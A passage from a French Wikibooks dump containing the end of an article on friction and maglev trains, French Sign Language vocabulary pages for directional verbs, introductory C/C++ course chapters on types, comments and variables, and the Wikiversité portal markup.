surcharges liées à des gestes répétitifs, à l'obésité ou à une musculation excessive, des chocs accidentels ou liés à certaines pratiques sportives, fait que les couches internes ne sont plus protégées, s'usent, l'arthrose s'installe et finalement ce sont les os qui se trouvent mis à nu et obligés de frotter, ce qui se révèle extrêmement douloureux. Une découverte récente (annoncée le 29 mars 2006) complète les idées que l'on avait jusqu'ici sur le fonctionnement du cartilage. Une équipe de l'Université de Durham (Caroline du Nord) a nommé «&nbsp;lubricin&nbsp;» un composant particulier du lubrifiant articulaire qui, semble-t-il, n'a pas pour seul rôle de réduire le frottement ; il formerait, en combinaison avec l'acide hyaluronique, une fine pellicule superficielle capable de repousser les surfaces articulaires et d'éviter tout contact entre elles. Dans une articulation saine, cette couche superficielle intacte protège les cartilages tout en intervenant dans l'obtention d'un coefficient de frottement très faible. Si elle est endommagée ou absente, il s'ensuit un défaut de lubrification qui entraîne toute une série de défaillances mécaniques et finalement l'arthrose. === Le frottement sur la neige fraîche === Quand un skieur glisse sur la neige, celle-ci s'affaisse et l'air qu'elle contient se trouve mis sous pression. Il en résulte une force de sustentation capable de supporter facilement le poids du skieur, force grâce à laquelle le frottement entre les skis et les cristaux de neige sont très sensiblement diminués. Cet effet est lié à la vitesse, plus le mouvement est rapide et moins il est freiné. === Les projets de guidages « spongieux » ou « plumés » === A partir du modèle du frottement sur la neige, Sheldon Weinbaum et ses collègues de l'Université de New York ont imaginé un nouveau type de voie capable de guider des trains à grande vitesse. En extrapolant les résultats trouvés pour les skis, ils ont calculé qu'une pression de 9,8 kPa serait suffisante pour soutenir un train de 50 tonnes, grâce à une surface de 25 m de long et 2 m de large. Un matériau possédant la bonne porosité serait ... la plume d'oie, mais il existe heureusement d'autres matériaux synthétiques possédant des propriétés similaires. A l'arrêt ou à faible vitesse le train serait guidé par des roues classiques mais aux fortes vitesses ces roues seraient escamotées, passant le relais à des surfaces poreuses assurant un guidage à très faible frottement et, de surcroît, particulièrement doux et silencieux. == Guidages magnétiques == Le principe est apparemment simple : les objets en présence sont repoussés l'un de l'autre par un puissant champ magnétique. L'usure est alors nulle, puisqu'il n'existe plus aucun contact entre les éléments, mais cela ne dispense nullement de mettre en place un autre mode de guidage plus classique, destiné à assurer l'arrêt du système sans trop de dégâts en cas d'«atterrissage» dû à une rupture du champ magnétique, une simple panne de courant par exemple. Diverses applications sont actuellement développées. Il s'agit essentiellement de paliers pour arbres de machines-outils et d'applications à l'essai dans le domaine des transports. === Trains à lévitation magnétique === [[Image:Shanghai Transrapid 002.jpg|thumb|300px|Le Shanghai Transrapid]] Les trains à lévitation magnétique Maglev glissent depuis quelques années, à titre semi-expérimental, au Japon, en Allemagne et en Chine. La première ligne commerciale a été ouverte l'an dernier en Chine et des trains circulent à 430 kilomètres par heure entre Shanghaï et l'aéroport de Pudong. Un fort champ magnétique maintient le train suspendu à quelques centimètres au-dessus de la voie. Le frottement est ainsi supprimé, ce qui permet d'atteindre des vitesses considérables. Les lignes déjà construites mettent en évidence les nombreux avantages de ce système. Cependant, contrairement aux espoirs de ses concepteurs, le train magnétique est loin d'être silencieux et lorsqu'il se déplace à haute vitesse, son bruit d'avion est généralement ressenti comme plus désagréable que celui d'un train classique. C'est ce que révèle une étude de l'Institut de recherche néerlandais TNO, rapportés dans le Journal of the Acoustical Society of America (Avril 2004). LSF/Verbes directionnels 2332 13936 2005-01-27T14:04:16Z Kowey 113 Verbes qui sont signé avec une direction. * [[LSF/Vocab/aider|aider]] * [[LSF/Vocab/informer|informer]] * [[LSF/Vocab/inviter|inviter]] * [[LSF/Vocab/montrer|montrer,présenter]] * [[LSF/Vocab/payer|payer]] * [[LSF/Vocab/preter|preter]] * [[LSF/Vocab/regarder|regarder]] * [[LSF/Vocab/rendre|rendre]] LSF/Vocab/inviter 2333 13937 2005-01-24T22:35:23Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab inviter.ogg|thumb=LSF VocabThumb inviter.jpeg|français=inviter|mimeo=|mot=inviter|config=}} {{LSF verbe directionnel|inviter}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|inviter]] Modèle:LSF verbe directionnel 2334 13938 2005-01-25T18:11:28Z Kowey 113 Ce mot est un verbe directionnel. Dans la vidéo, nous vous le présentons dans l'ordre # je te {{{1}}} # tu me {{{1}}} # il le/lui {{{1}}} [[Catégorie:LSF/Vocabulaire/Verbe directionnel|{{{1}}}]] LSF/Vocab/preter 2335 13939 2005-01-26T17:04:02Z Kowey 113 /* Voir aussi */ {{LSF vocabulaire|vid=LSF Vocab preter.ogg|thumb=LSF VocabThumb preter.jpeg|français=preter|mimeo=|mot=preter|config=}} {{LSF verbe directionnel|preter}} == Voir aussi == [[LSF/Vocab/rendre|rendre]] [[Category:LSF/Vocabulaire fr à lsf|preter]] LSF/Vocab/montrer 2337 13940 2005-01-30T13:25:33Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab montrer.ogg|thumb=LSF VocabThumb montrer.jpeg|français=montrer, présenter|mimeo=|mot=montrer|config=}} {{LSF verbe directionnel|montrer}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|montrer]] LSF/Vocab/présenter 2338 13941 2005-01-25T18:09:44Z Kowey 113 #REDIRECT [[LSF/Vocab/montrer]] Catégorie:LSF/Vocabulaire/Verbe directionnel 2339 13942 2005-01-25T18:12:27Z Kowey 113 Ces verbes utilise une notion de direction. Par exemple, "je te téléphone" sera signé différement que "tu me téléphones" LSF/Vocab/rendre 2340 13943 2005-01-26T17:13:40Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab rendre.ogg|thumb=LSF VocabThumb rendre.jpeg|français=rendre|mimeo=|mot=rendre|config=}} {{LSF verbe directionnel|rendre}} == Voir aussi == * [[LSF/Vocab/preter|preter]] [[Category:LSF/Vocabulaire fr à lsf|rendre]] LSF/Vocab/informer 2341 13944 2005-01-26T19:56:37Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab informer.ogg|thumb=LSF VocabThumb informer.jpeg|français=informer|mimeo=|mot=informer|config=}} {{LSF verbe directionnel|informer}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|informer]] LSF/Vocab/regarder 2342 13945 2005-01-26T20:59:06Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab regarder.ogg|thumb=LSF VocabThumb regarder.jpeg|français=regarder|mimeo=|mot=regarder|config=}} {{LSF verbe directionnel|regarder}} == Voir aussi == * [[LSF/Vocab/voir|voir]] [[Category:LSF/Vocabulaire fr à lsf|regarder]] LSF/Vocab/aider 2343 13946 2005-01-26T21:08:17Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab aider.ogg|thumb=LSF VocabThumb aider.jpeg|français=aider|mimeo=|mot=aider|config=}} {{LSF verbe directionnel|aider}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|aider]] LSF/Vocab/demander 2344 13947 2005-01-26T21:55:25Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab demander.ogg|thumb=LSF VocabThumb demander.jpeg|français=demander|mimeo=|mot=demander|config=}} {{LSF verbe directionnel|demander}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|demander]] Programmation C C plus plus Première approche 2345 13948 2005-01-27T10:08:49Z Guillaumito 46 {{Programmation C C plus plus Première approche}} Le C/C++ est un langage procédural, du même type que le Pascal par exemple. Cela signifie que les instructions sont exécutées linéairement et regroupées en blocs : les fonctions et les procédures (les procédures n'existent pas en C/C++, ce sont des fonctions qui ne retournent pas de valeur). Tout programme a pour but d'effectuer des opérations sur des données. La structure fondamentale est donc la suivante : ENTRÉE DES DONNÉES (clavier, souris, fichier, autres périphériques) | TRAITEMENT DES DONNÉES | SORTIE DES DONNÉES (écran, imprimante, fichier, autres périphériques) Ces diverses étapes peuvent être dispersées dans le programme. Par exemple, les entrées peuvent se trouver dans le programme même (l'utilisateur n'a dans ce cas pas besoin de les saisir). Pour la plupart des programmes, les données en entrée proviennent du flux d'entrée standard, et les données émises en sortie sont dirigées vers le flux de sortie standard. Toutefois, le processus d'entrée des données peut être répété autant de fois que nécessaire pendant l'exécution d'un programme, et les données traitées au fur et à mesure qu'elles apparaissent. Par exemple, pour les programmes graphiques, les données sont reçues de la part du système sous forme de messages caractérisant les événements générés par l'utilisateur ou par le système lui-même (déplacement de souris, fermeture d'une fenêtre, appui sur une touche, etc.). Le traitement des programmes graphiques est donc une boucle infinie (que l'on appelle la boucle des messages), qui permet de récupérer les messages et de prendre les actions en conséquence. Dans ce cas, la sortie des données correspond au comportement que le programme adopte en réponse à ces messages. Cela peut être tout simplement d'afficher les données saisies, ou, plus généralement, d'appliquer une commande aux données en cours de manipulation. Les données manipulées sont stockées dans des variables, c'est-à-dire des zones de la mémoire. Comme leur nom l'indique, les variables peuvent être modifiées (par le traitement des données). Des opérations peuvent donc être effectuées sur les variables, mais pas n'importe lesquelles. Par exemple, on ne peut pas ajouter des pommes à des bananes, sauf à définir cette opération bien précisément. Les opérations dépendent donc de la nature des variables. Afin de réduire les risques d'erreurs de programmation, les langages comme le C/C++ donnent un type à chaque variable (par exemple : pomme et banane). Lors de la compilation (phase de traduction du texte source du programme en exécutable), ces types sont utilisés pour vérifier si les opérations effectuées sont autorisées. Le programmeur peut évidemment définir ses propres types. Le langage fournit des types de base et des opérations prédéfinies sur ces types. Les opérations qui peuvent être faites sont soit l'application d'un opérateur, soit l'application d'une fonction sur les variables. Logiquement parlant, il n'y a pas de différence. Seule la syntaxe change : <pre> a=2+3 </pre> est donc strictement équivalent à : <pre> a=ajoute(2,3) </pre> Évidemment, des fonctions utilisateur peuvent être définies. Les opérateurs ne peuvent être que surchargés : il est impossible d'en définir de nouveaux (de plus, la surcharge des opérateurs n'est faisable qu'en C++). La notion de surcharge de fonction sera décrite en détail ci-dessous, dans la Section 1.6.4. Cette première partie est donc consacrée à la définition des types, la déclaration des variables, la construction et l'appel de fonctions, et aux entrées / sorties de base (flux d'entrée / sortie standards). Modèle:Programmation C C plus plus Première approche 2349 13950 2005-01-27T10:49:58Z Guillaumito 46 {{En cours de copie|site=http://casteyde.christian.free.fr/online/cours_cpp/|licence=[[GFDL]]}} {| style="float:right;border:thin black solid;width:200px;" | colspan="2" style="text-align:center;font-weight:bold;" | Cours de C/C++ |- | colspan="2" style="text-align:center;"| [[Programmation C C plus plus Le langage|^]] |- | colspan="2" | [[Programmation C C plus plus Première approche|Première approche]] |- | style="width:20px;" | || [[Programmation C C plus plus Les commentaires|Les commentaires]] |- | style="width:20px;" | || [[Programmation C C plus plus Les types prédéfinis|Les types prédéfinis]] |- | style="width:20px;" | || [[Programmation C C plus plus Notation des valeurs|Notation des valeurs]] |- | style="width:20px;" | || [[Programmation C C plus plus La définition des variables|La définition des variables]] |- | style="width:20px;" | || [[Programmation C C plus plus Instructions et opérations|Instructions et opérations]] |- | style="width:20px;" | || [[Programmation C C plus plus Les fonctions|Les fonctions]] |- | style="width:20px;" | || [[Programmation C C plus plus La fonction main|La fonction main]] |- | style="width:20px;" | || [[Programmation C C plus plus Entrée / sortie de base|Entrée / sortie de base]] |- | style="width:20px;" | || [[Programmation C C plus plus Exemple de programme|Exemple de programme]] |- | colspan="2" style="text-align:right;" | [http://casteyde.christian.free.fr/online/cours_cpp/book1.html Livre original de C. Casteyde] |} Programmation C C plus plus Les types prédéfinis 2350 13951 2005-01-27T10:08:08Z Guillaumito 46 {{Programmation C C plus plus Première approche}} == Les types prédéfinis du C/C++ == Le C, et encore plus le C++, est un langage typé. Cela signifie que chaque entité manipulée dans les programmes doit disposer d'un type de donnée grâce auquel le compilateur pourra vérifier la validité des opérations qu'on lui appliquera. La prise en compte du type des données peut apparaître comme une contrainte pour le programmeur, mais en réalité il s'agit surtout d'une aide à la détection des erreurs. Il existe plusieurs types prédéfinis. Ce sont : * le type vide : void. Ce type est utilisé pour spécifier le fait qu'il n'y a pas de type. Cela a une utilité pour faire des procédures (fonctions ne renvoyant rien) et les pointeurs sur des données non typées (voir plus loin) ; * les booléens : bool, qui peuvent prendre les valeurs true et false (en C++ uniquement, ils n'existent pas en C) ; * les caractères : char ; * les caractères longs : wchar_t (ce n'est un type de base que pour le langage C++, mais il est également défini dans la bibliothèque standard C et est donc utilisable malgré tout en C) ; * les entiers : int ; * les réels : float ; * les réels en double précision : double ; * les tableaux à une dimension, dont les indices sont spécifiés par des crochets ('[' et ']'). Pour les tableaux de dimension supérieure ou égale à 2, on utilisera des tableaux de tableaux ; * les structures, unions et énumérations (voir plus loin). Les types entiers (int) peuvent être caractérisés d'un des mots clés long ou short. Ces mots clés permettent de modifier la taille du type, c'est-à-dire la plage de valeurs qu'ils peuvent couvrir. De même, les réels en double précision peuvent être qualifiés du mot clé long, ce qui augmente leur plage de valeurs. On ne peut pas utiliser le mot clé short avec les double. On dispose donc de types additionnels : * les entiers longs : long int, ou long (int est facultatif) ; * les entiers courts : short int, ou short ; * les réels en quadruple précision : long double. Note : Attention ! Il n'y a pas de type de base permettant de manipuler les chaînes de caractères. En C/C++, les chaînes de caractères sont en réalité des tableaux de caractères. Vous trouverez plus loin pour de plus amples informations sur les chaînes de caractères et les tableaux. La taille des types n'est spécifiée dans aucune norme. La seule chose qui est indiquée dans la norme C++, c'est que le plus petit type est le type char. Les tailles des autres types sont donc des multiples de celle du type char. De plus, les inégalités suivantes sont toujours vérifiées : char ≤ short int ≤ int ≤ long int float ≤ double ≤ long double où l'opérateur « ≤ » signifie ici « a une plage de valeur plus petite ou égale que ». Cela dit, les tailles des types sont généralement les mêmes pour tous les environnements de développement. Le type char est généralement codé sur un octet (8 bits), le type short int sur deux octets et le type long int sur quatre octets. Le type int est celui qui permet de stocker les entiers au format natif du processeur utilisé. Il est donc codé sur deux octets sur les machines 16 bits et sur quatre octets sur les machines 32 bits. Enfin, la taille des caractères de type wchar_t n'est pas spécifiée et dépend de l'environnement de développement utilisé. Ils sont généralement codés sur deux ou sur quatre octets suivant la représentation utilisée pour les caractères larges. Note : Remarquez que, d'après ce qui précède, le type int devrait être codé sur 64 bits sur les machines 64 bits. Le type long int devant lui être supérieur, il doit également être codé sur 64 bits ou plus. Le type short int peut alors être sur 16 ou sur 32 bits. Il n'existe donc pas, selon la norme, de type permettant de manipuler les valeurs 16 bits sur les machines 64 bits si le type short int est codé sur 32 bits, ou, inversement, de type permettant de manipuler les valeurs 32 bits si le type short int est codé sur 16 bits. Afin de résoudre ces problèmes, la plupart des compilateurs brisent la règle selon laquelle le type int est le type des entiers natifs du processeur, et fixent sa taille à 32 bits quelle que soit l'architecture utilisée. Ainsi, le type short est toujours codé sur 16 bits, le type int sur 32 bits et le type long sur 32 ou 64 bits selon que l'architecture de la machine est 32 ou 64 bits. Autrement dit, le type qui représente les entiers nativement n'est plus le type int, mais le type long. Cela ne change pas les programmes 32 bits, puisque ces deux types sont identiques dans ce cas. Les programmes destinés aux machines 64 bits pourront quant à eux être optimisés en utilisant le type long à chaque fois que l'on voudra utiliser le type de données natif de la machine cible. Les programmes 16 bits en revanchent ne sont en revanche plus compatibles avec ces règles, mais la plupart des compilateurs actuels ne permettent plus de compiler des programmes 16 bits de toutes manières. Les types char, wchar_t et int peuvent être signés ou non. Un nombre signé peut être négatif, pas un nombre non signé. Lorsqu'un nombre est signé, la valeur absolue du plus grand nombre représentable est plus petite. Par défaut, les nombres entiers sont signés. Le signe des types char et wchar_t dépend du compilateur utilisé, il est donc préférable de spécifier systématiquement si ces types sont signés ou non lorsqu'on les utilise en tant que type entier. Pour préciser qu'un nombre n'est pas signé, il faut utiliser le mot clé unsigned. Pour préciser qu'un nombre est signé, on peut utiliser le mot clé signed. Ces mots clés peuvent être intervertis librement avec les mots clés long et short pour les types entiers. === Exemple - Types signés et non signés === <pre> unsigned char signed char unsigned wchar_t signed wchar_t unsigned int signed int unsigned long int long unsigned int </pre> Note : Le C++ (et le C++ uniquement) considère les types char et wchar_t comme les types de base des caractères. Le langage C++ distingue donc les versions signées et non signées de ces types de la version dont le signe n'est pas spécifié, puisque les caractères n'ont pas de notion de signe associée. Cela signifie que les compilateurs C++ traitent les types char, unsigned char et signed char comme des types différents, et il en est de même pour les types wchar_t, signed wchar_t et unsigned wchar_t. Cette distinction n'a pas lieu d'être au niveau des plages de valeurs si l'on connaît le signe du type utilisé en interne pour représenter les types char et wchar_t, mais elle est très importante dans la détermination de la signature des fonctions, en particulier au niveau du mécanisme de surcharge des fonctions. Les notions de signature et de surcharge des fonctions seront détaillées plus loin dans ce cours. Les valeurs accessibles avec les nombres signés ne sont pas les mêmes que celles accessibles avec les nombres non signés. En effet, un bit est utilisé pour le signe dans les nombres signés. Par exemple, si le type char est codé sur 8 bits, on peut coder les nombres allant de 0 à 255 avec ce type en non signé (il y a 8 chiffres binaires, chacun peut valoir 0 ou 1, on a donc 2 puissance 8 combinaisons possibles, ce qui fait 256). En signé, les valeurs s'étendent de -128 à 127 (un des chiffres binaires est utilisé pour le signe, il en reste 7 pour coder le nombre, donc il reste 128 possibilités dans les positifs comme dans les négatifs. 0 est considéré comme positif. En tout, il y a autant de possibilités.). De même, si le type int est codé sur 16 bits (cas des machines 16 bits), les valeurs accessibles vont de -32768 à 32767 ou de 0 à 65535 si l'entier n'est pas signé. C'est le cas sur les PC en mode réel (c'est-à-dire sous DOS) et sous Windows 3.x. Sur les machines fonctionnant en 32 bits, le type int est stocké sur 32 bits : l'espace des valeurs disponibles est donc 65536 fois plus large. C'est le cas sur les PC en mode protégé 32 bits (Windows 9x ou NT, DOS Extender, Linux) et sur les Macintosh. Sur les machines 64 bits, le type int devrait être 64 bits (DEC Alpha et la plupart des machines UNIX par exemple). Enfin, le type float est généralement codé sur 4 octets, et les types double et long double sont souvent identiques et codés sur 8 octets. Note : On constate donc que la portabilité des types de base est très aléatoire. Cela signifie qu'il faut faire extrêmement attention dans le choix des types si l'on veut faire du code portable (c'est-à-dire qui compilera et fonctionnera sans modification du programme sur tous les ordinateurs). Il est dans ce cas nécessaire d'utiliser des types de données qui donnent les mêmes intervalles de valeurs sur tous les ordinateurs. La norme ISO C99 impose de définir des types portables afin de régler ces problèmes sur toutes les architectures existantes. Ces types sont définis dans le fichier d'en-tête stdint.h. Il s'agit des types int8_t, int16_t, int32_t et int64_t, et de leurs versions non signées uint8_t, uint16_t, uint32_t et uint64_t. La taille de ces types en bits est indiquée dans leur nom et leur utilisation ne devrait pas poser de problème. De la même manière, deux représentations d'un même type peuvent être différentes en mémoire sur deux machines d'architectures différentes, même à taille égale en nombre de bits. Le problème le plus courant est l'ordre de stockage des octets en mémoire pour les types qui sont stockés sur plus d'un octet (c'est-à-dire quasiment tous). Cela a une importance capitale lorsque des données doivent être échangées entre des machines d'architectures a priori différentes, par exemple dans le cadre d'une communication réseau, ou lors de la définition des formats de fichiers. Une solution simple est de toujours d'échanger les données au format texte, ou de choisir un mode de représentation de référence. Les bibliothèques réseau disposent généralement des méthodes permettant de convertir les données vers un format commun d'échange de données par un réseau et pourront par exemple être utilisées. Programmation C C plus plus Les commentaires 2351 13952 2005-01-27T10:09:29Z Guillaumito 46 {{Programmation C C plus plus Première approche}} == Les commentaires en C++ == Les commentaires sont nécessaires et très simples à faire. Tout programme doit être commenté. Attention cependant, trop de commentaires tue le commentaire, parce que les choses importantes sont noyées dans les banalités. Il existe deux types de commentaires en C++ : les commentaires de type C et les commentaires de fin de ligne (qui ne sont disponibles qu'en C++). Les commentaires C commencent avec la séquence barre oblique - étoile. Les commentaires se terminent avec la séquence inverse : une étoile suivie d'une barre oblique. === Exemple - Commentaire C === <pre> /* Ceci est un commentaire C */ </pre> Ces commentaires peuvent s'étendre sur plusieurs lignes. En revanche, les commentaires de fin de lignes s'arrêtent à la fin de la ligne courante, et pas avant. Ils permettent de commenter plus facilement les actions effectuées sur la ligne courante, avant le commentaire. Les commentaires de fin de ligne commencent par la séquence constituée de deux barres obliques (ils n'ont pas de séquence de terminaison, puisqu'ils ne se terminent qu'à la fin de la ligne courante). Par exemple : === Exemple - Commentaire C++ === <pre> action quelconque // Ceci est un commentaire C++ action suivante </pre> Modèle:En cours de copie 2352 13953 2005-01-27T12:52:17Z Guillaumito 46 {| style="border:1px #808080 dashed; width:100%; padding:10px; text-align:center; background:#E0E030;" | Ce livre est en cours de copie depuis le site {{{site}}} qui le fournit sous licence {{{licence}}}. |} Programmation C C plus plus Notation des valeurs 2353 13954 2005-01-27T12:34:57Z Guillaumito 46 {{Programmation C C plus plus Première approche}} == Notation des valeurs == Les entiers se notent de la manière suivante : * base 10 (décimale) : avec les chiffres de '0' à '9', et les signes '+' (facultatif) et '-'. === Exemple - Notation des entiers en base 10 === <pre> 12354, -2564 </pre> * base 16 (hexadécimale) : avec les chiffres '0' à '9' et 'A' à 'F' ou a à f (A=a=10, B=b=11, ... F=f=15). Les entiers notés en hexadécimal devront toujours être précédés de « 0x » (qui indique la base). On ne peut pas utiliser le signe '-' avec les nombres hexadécimaux. === Exemple - Notation des entiers en base 16 === <pre> 0x1AE </pre> * base 8 (octale) : avec les chiffres de '0' à '7'. Les nombres octaux doivent être précédés d'un 0 (qui indique la base). Le signe '-' ne peut pas être utilisé. === Exemple - Notation des entiers en base 8 === <pre> 01, 0154 </pre> Les flottants (pseudo réels) se notent de la manière suivante : [signe] chiffres [.[chiffres]][e|E [signe] exposant][f] où signe indique le signe. On emploie les signes '+' (facultatif) et '-' aussi bien pour la mantisse que pour l'exposant. 'e' ou 'E' permet de donner l'exposant du nombre flottant. L'exposant est facultatif. Si on ne donne pas d'exposant, on doit donner des chiffres derrière la virgule avec un point et ces chiffres. Le suffixe 'f' permet de préciser si le nombre est de type float ou non (auquel cas il s'agit d'un double). Les chiffres après la virgule sont facultatifs, mais pas le point. Si on ne met ni le point, ni la mantisse, le nombre est un entier décimal. === Exemple - Notation des réels === <pre> -123.56f, 12e-12, 2 </pre> « 2 » est entier, « 2.f » est réel. Les caractères se notent entre guillemets simples : <pre> 'A', 'c', '(' </pre> On peut donner un caractère non accessible au clavier en donnant son code en octal, précédé du caractère '\'. Par exemple, le caractère 'A' peut aussi être noté '\101'. Remarquez que cette notation est semblable à la notation des nombres entiers en octal, et que le '0' initial est simplement remplacé par un '\'. Il est aussi possible de noter les caractères avec leur code en hexadécimal, à l'aide de la notation « \xNN », où NN est le code hexadécimal du caractère. Enfin, il existe des séquences d'échappement particulières qui permettent de coder certains caractères spéciaux plus facilement. Les principales séquences d'échappement sont les suivantes : {| | '\a' || Bip sonore |- | '\b' || Backspace |- | '\f' || Début de page suivante |- | '\r' || Retour à la ligne (sans saut de ligne) |- | '\n' || Passage à la ligne |- | '\t' || Tabulation |- | '\v' || Tabulation verticale |} D'autres séquences d'échappement sont disponibles, afin de pouvoir représenter les caractères ayant une signification particulière en C : {| | '\\' || Le caractère \ |- | '\"' || Le caractère " |- | '\'' || Le caractère ' |} Bien qu'il n'existe pas à proprement parler de chaînes de caractères en C/C++, il est possible de définir des tableaux de caractères constants utilisables en tant que chaînes de caractères en donnant leur contenu entre doubles guillemets : <pre> "Exemple de chaîne de caractères..." </pre> Les caractères spéciaux peuvent être utilisés directement dans les chaînes de caractères constantes : <pre> "Ceci est un saut de ligne :\nCeci est à la ligne suivante." </pre> Si une chaîne de caractères constante est trop longue pour tenir sur une seule ligne, on peut concaténer plusieurs chaînes en les juxtaposant : <pre> "Ceci est la première chaîne " "ceci est la deuxième." </pre> produit la chaîne de caractères complète suivante : <pre> "Ceci est la première chaîne ceci est la deuxième." </pre> Note : Attention : il ne faut pas mettre de caractère nul dans une chaîne de caractères. Ce caractère est en effet le caractère de terminaison de toute chaîne de caractères. Enfin, les versions longues des différents types cités précédemment (wchar_t, long int et long double) peuvent être notées en faisant précéder ou suivre la valeur de la lettre 'L'. Cette lettre doit précéder la valeur dans le cas des caractères et des chaînes de caractères et la suivre quand il s'agit des entiers et des flottants. Par exemple : <pre> L"Ceci est une chaîne de wchar_t." 2.3e5L </pre> LSF/Vocab/payer 2354 13955 2005-01-27T14:02:49Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab payer.ogg|thumb=LSF VocabThumb payer.jpeg|français=payer|mimeo=|mot=payer|config=}} {{LSF verbe directionnel|payer}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|payer]] LSF/Métalangage 2355 13956 2005-01-27T14:05:02Z Kowey 113 LSF/Métalangage déplacé vers LSF/Langage #REDIRECT [[LSF/Langage]] Programmation C C plus plus La définition des variables 2356 13957 2005-01-27T17:43:47Z Guillaumito 46 {{Programmation C C plus plus Première approche}} == La définition des variables == Les variables simples peuvent être définies avec la syntaxe suivante : <pre> type identificateur; </pre> où type est le type de la variable et identificateur est son nom. Il est possible de créer et d'initialiser une série de variables dès leur création avec la syntaxe suivante : <pre> type identificateur[=valeur][, identificateur[=valeur][...]]; </pre> === Exemple - Définition de variables === <pre> int i=0, j=0; /* Définit et initialise deux entiers à 0 */ double somme; /* Déclare une variable réelle */ </pre> Les variables peuvent être définies quasiment n'importe où dans le programme. Cela permet de ne définir une variable temporaire que là où l'on en a besoin. Note : Cela n'est vrai qu'en C++. En C pur, on est obligé de définir les variables au début des fonctions ou des instructions composées (voir plus loin). Il faut donc connaître les variables temporaires nécessaires à l'écriture du morceau de code qui suit leur définition. La définition d'une variable ne suffit pas, en général, à l'initialiser. Les variables non initialisées contenant des valeurs aléatoires, il faut éviter de les utiliser avant une initialisation correcte. Initialiser les variables que l'on déclare à leur valeur par défaut est donc une bonne habitude à prendre. Cela est d'ailleurs obligatoire pour les variables « constantes » que l'on peut déclarer avec le mot clé const, car ces variables ne peuvent pas être modifiées après leur définition. Ce mot clé sera présenté en détail dans la Section 3.2. Note : Si les variables utilisant les types simples ne sont pas initialisées lors de leur définition de manière générale, ce n'est pas le cas pour les objets dont le type est une classe définie par l'utilisateur. En effet, pour ces objets, le compilateur appelle automatiquement une fonction d'initialisation appelée le « constructeur » lors de leur définition. La manière de définir des classes d'objets ainsi que toutes les notions traitant de la programmation objet seront décrites dans le Chapitre 8. La définition d'un tableau se fait en faisant suivre le nom de l'identificateur d'une paire de crochets, contenant le nombre d'élément du tableau : <pre> type identificateur[taille]([taille](...)); </pre> Note : Attention ! Les caractères '[' et ']' étant utilisés par la syntaxe des tableaux, ils ne signifient plus les éléments facultatifs ici. Ici, et ici seulement, les éléments facultatifs sont donnés entre parenthèses. Dans la syntaxe précédente, type représente le type des éléments du tableau. === Exemple - Définition d'un tableau === <pre> int MonTableau[100]; </pre> MonTableau est un tableau de 100 entiers. On référence les éléments des tableaux en donnant l'indice de l'élément entre crochet : MonTableau[3]=0; Note : La syntaxe permettant d'initialiser les tableaux dès leur création est un peu plus complexe que celle permettant d'initialiser les variables de type simple. Cette syntaxe est semblable à celle permettant d'initialiser les structures de données et sera donc décrite dans la section qui leur est dédiée. En C/C++, les tableaux à plus d'une dimension sont des tableaux de tableaux. On prendra garde au fait que dans la définition d'un tableau à plusieurs dimensions, la dernière taille indiquée spécifie la taille du tableau dont on fait un tableau. Ainsi, dans l'exemple suivant : <pre> int Matrice[5][4]; </pre> Matrice est un tableau de taille 5 dont les éléments sont eux-mêmes des tableaux de taille 4. L'ordre de déclaration des dimensions est donc inversé : 5 est la taille de la dernière dimension et 4 est la taille de la première dimension. L'élément suivant : <pre> Matrice[2]; </pre> est donc le troisième élément de ce tableau de taille cinq, et est lui-même un tableau de quatre éléments. En C/C++, les indices des tableaux varient de 0 à taille-1. Il y a donc bien taille éléments dans le tableau. Dans l'exemple donné ci-dessus, l'élément MonTableau[100] n'existe pas : y accéder plantera le programme. C'est au programmeur de vérifier que ses programmes n'utilisent jamais les tableaux avec des indices plus grands que leur taille ou négatifs. Un autre point auquel il faudra faire attention est la taille des tableaux à utiliser pour les chaînes de caractères. Une chaîne de caractères se termine obligatoirement par le caractère nul ('\0'), il faut donc réserver de la place pour lui. Par exemple, pour créer une chaîne de caractères de 100 caractères au plus, il faut un tableau pour 101 caractères (déclaré avec « char chaine[101]; »). Wikiversité 2357 39827 2006-04-08T08:20:38Z Greudin 1 iws {| |[[Image:Wikiversite-banner.jpg|left|450px|Logo de la wikiversité]] |<span style="font-size:180%"><span style="color:#444444">'''WIKI'''</span><span style="color:#999999">'''VERSITÉ'''</span></span><br clear=all> <h2>Une université virtuelle libre et gratuite.</h2> |} {{Sous section|nom=Wikiversité/Présentation|couleur=#d2cee8|couleurbord=#ababab|couleurfond=#FFFFFF}} {| width="100%" |- align="top" valign="top" | width="50%" | {{Sous section|nom=Wikiversité/Lumière sur|couleur=#d2cee8|couleurbord=#ababab|couleurfond=#FFFFFF}} | width="50%" | {{Sous section|nom=Wikiversité/Nouveautés|couleur=#d2cee8|couleurbord=#ababab|couleurfond=#FFFFFF}} |- |} {{Sous section|nom=Wikiversité/Facultés|couleur=#d2cee8|couleurbord=#ababab|couleurfond=#FFFFFF}} {{Sous section|nom=Wikilivres:Projets|couleur=#d2cee8|couleurbord=#ababab|couleurfond=#FFFFFF}} <!-- ################## Liens message + rafraîchir + projets wikilivres ################################# --> {| align="center" border="0" cellpadding="4" cellspacing="4" style="border: 2px solid #8ecfe4;background-color:#EEEEEE" valign="middle" |- | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Wikiversité:Wikiversité&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Wikiversité&action=purge '''Rafraîchir la page'''] |} __NOTOC__ __NOEDITSECTION__ [[de:Wikiversity: Leitseite]] [[en:Wikiversity]] [[es:Wikiversidad:Portada]] [[fi:Wikiversity]] [[it:Wikiversità]] [[pt:Wikiversidade]] 